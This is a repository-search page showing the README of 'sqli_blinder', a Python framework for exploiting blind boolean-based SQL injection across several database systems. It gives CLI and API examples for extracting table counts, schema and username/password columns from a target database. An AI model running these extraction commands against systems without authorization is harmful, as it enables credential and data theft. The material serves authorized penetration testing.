KO | EN

GitLite

Minimalist Open Source Repository Search Engine

gitlite — search

#dsh #dsh-plugin #developer-tools #ai-agent #claude-code #codex #typescript #ai-agents #deepseek-harness #mcp #cli #rust

sqli_blinder

★ 29 Open GitHub ↗

Framework for blind boolean-based sql injections exploatation. Use it if sqlmap does shit.

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# SQLi blinder

Framework for blind boolean-based sql injections explotation. Use it if sqlmap does shit.

Support:
- MySQL
- MSSQL
- SQLite
- Oracle
- PostgreSQL

Requires Python 3.x.

There are no dependencies, just `pip install requests` for example `request_func`, or `pip install aiohttp` for async example.

## Usage

You could use sqlib.py console utility or do your own script by importing `sqli_blinder.SQLiBlinder`, but both cases requires you to create your own `request_func`.

### Prepare request_func

The `request_func` must paste single input param to your SQL injection and issue request.
It must return `True` for input param `1=1` and `False` for input param `1=0`.

It's OK to throw on unexpected behavior.

Example presented in `sqlib.py`.

Check your `request_func` with:

```python
SQLiBlinder(request_func,dbms).check()
```

If you want to use sqlib.py - replace `request_func` with your own.

### Async version of request_func

Limitation of standart version is that it works sequentially. Multithreading is applied only for string chars search. When string is found, it use single thread to determine length of next string and etc.

Async allows make more task simultaniously, so it is supposed to be faster.

But it require you to make async `request_func`. You could use one of python HTTP async clients such as `aiohttp` or [make requests async](https://stackoverflow.com/questions/22190403/how-could-i-use-requests-in-asyncio).

You can find example of async `request_func` in sqlib_async.py.

### Run sqlib.py

sqlib_async.py use same syntax.

```
usage: sqlib.py [-h] [-t TABLE] [-c COLUMN] [-w WHERE] [-i INDEX]
                [--threads THREADS] --dbms {mysql,mssql,sqlite,oracle,postgre}
                {check,count,one,get}

positional arguments:
  {check,count,one,get}
                        mode - one of ['check','count','one','get']

optional arguments:
  -h, --help            show this help message and exit
  -t TABLE, --table TABLE
                        table nmae
  -c COLUMN, --column COLUMN
                        column names. For get mode could by comma separated array of columns
  -w WHERE, --where WHERE
                        where clause
  -i INDEX, --index INDEX
                        index of row
  --threads THREADS     number of threads
  --dbms {mysql,mssql,sqlite,oracle} DBMS
  --order-by ORDER_BY   order by column name or index
  -s, --silent          not print output during retrieving
```

Examples:

Check `request_func`:  
`python sqlib.py check`

Get count of rows in `sqlite_master` table (like `SELECT count(*) FROM sqlite_master`):  
`python sqlib.py count -t sqlite_master --dbms sqlite`

Get number of rows in `users` table where `username`=`admin` (like`SELECT count(*) FROM users WHERE username='admin'`):  
`python sqlib.py count -t users --dbms sqlite --where "username='admin'"`

Get value of `password` column in `users` table with index `1` (like `SELECT password FROM users offset 1 limit 1`):  
`python sqlib.py one -t users -c password -i 1 --dbms sqlite`

Get all `username` and `password` from `users` table (like `SELECT username,password FROM users`):  
`python sqlib.py get -t users -c username,password --dbms sqlite`

### SQLiBlinder class

Intended public methods:

- `check()` - check provided `request_func` with `1=1` and `1=0` payloads

- `get_count(table_name,where=None)` - get count of rows in `table` with provided `where` clause

- `get_string(table,column,index,where=None)` - get value of `column` in `table` with index=`index`. `where` is optional

- `get(columns,table_name,where=None)` - get all columns in `columns` from `table` where `where`

examples:

```python
sqlib = SQLiBlinder(request_func,'sqlite',multithreaded=True,threads=16)
sqlib.check() # True
sqlib.get_count('sqlite_master') # number of rows in sqlite_master
sqlib.get_string('sqlite_master','sql',1,) # code of first table
sqlib.get(['username','password'],'users') # all usernames and passwords
sqlib.get(['username','password'],'users',where="username='admin'") # admins username and password
```

sqli_blinder

Explore Similar Repositories

Was this content helpful?

Recent Feedback

Download README